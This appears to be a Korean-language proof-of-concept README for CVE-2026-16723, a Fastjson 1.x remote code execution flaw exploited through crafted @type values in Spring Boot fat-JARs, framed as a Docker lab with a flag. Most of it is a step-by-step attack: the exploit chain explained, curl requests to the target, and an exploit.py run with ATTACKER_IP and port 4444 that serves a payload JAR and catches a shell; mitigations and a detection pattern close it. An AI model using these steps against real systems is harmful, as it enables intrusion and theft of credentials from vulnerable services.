CVE-2026-16723 Fastjson RCE

★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★

개요

CVE-2026-16723은 Fastjson 1.x(1.2.68 – 1.2.83)의 원격 코드 실행(RCE) 취약점입니다. Fastjson이 공격자가 제어하는 JSON을 파싱할 때, 조작된 @type 값은 checkAutoType 내부의 클래스 리소스 조회로 변환됩니다. Spring Boot 실행 가능 fat-JAR에서는 클래스 로더가 해당 이름을 jar:http:// URL로 해석하여 원격 JAR를 가져오고(SSRF), AutoType이 비활성화되어 있어도 @JSONType 어노테이션을 가진 클래스를 로드합니다. 최신 JDK/Tomcat은 jar:http:// 바이너리 이름을 거부하므로, 신뢰할 수 있는 변형은 JAR를 JVM 캐시에 시드한 뒤 jar:file:/proc/self/fd/N을 통해 다시 읽어 클래스를 정의하고 정적 초기화자가 실행되게 하여 코드 실행을 달성합니다. AutoType은 비활성화된 상태로 유지되며 classpath 가젯은 필요하지 않습니다.

영향을 받는 버전

카테고리	버전
취약	Fastjson 1.2.68 ≤ 버전 ≤ 1.2.83
패치됨	Fastjson 2.x로 마이그레이션(수정된 1.x 릴리스 없음)

영향

서비스 계정으로 원격 코드 실행
호스트 및 환경에서 비밀/자격 증명 노출
영향을 받는 애플리케이션 전체 침해

환경

랩 타깃은 공개 스토어프론트(Northwind Store)이며, 해당 검색 API는 요청 본문을 Fastjson으로 바인딩합니다. 모든 것은 Fastjson의 기본 설정입니다: SafeMode 꺼짐, AutoType 꺼짐, Spring Boot fat-JAR로 패키징됨.

docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723

사전 조건	이 랩에서의 상태
Fastjson 1.2.68 – 1.2.83	1.2.83
Spring Boot 실행 가능 fat-JAR	예
인증 없는 JSON 파싱 경로	`POST /api/products/search`
SafeMode / AutoType	기본값(둘 다 꺼짐)

PoC

공격자와 타깃은 동일한 Docker 브리지 네트워크에서 실행되므로, 타깃은 아웃바운드 연결로 공격자에게 도달합니다(추가 포트가 게시되지 않음).

1단계: 타깃이 실행 중인지 확인

curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'

2단계: 공격자 머신에서 익스플로잇 실행

exploit.py는 페이로드 JAR를 빌드하고, 이를 서빙하고, 리스너를 시작한 뒤 요청 본문을 출력합니다. 콜백 주소만 필요합니다.

python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444

3단계: 페이로드 전달

출력된 본문을 검색 엔드포인트(Burp Repeater 또는 curl)에 붙여넣고 전송하세요. 검색 요청은 정상적인 기능이며, JSON 본문만 조작된 것입니다.

curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' --data-binary @body.json

4단계: 결과 확인

코드는 서비스 계정으로 실행됩니다. 획득한 셸을 통해 플래그를 검색하세요:

whoami

완화 조치

Fastjson 2.x로 마이그레이션
또는 com.alibaba:fastjson:1.2.83_noneautotype 실행
또는 -Dfastjson.parser.safeMode=true로 JVM 시작
탐지: jar:http 또는 jar:file / /proc/self/fd 패턴을 포함하는 JSON @type 값

CVE-2026-16723

인기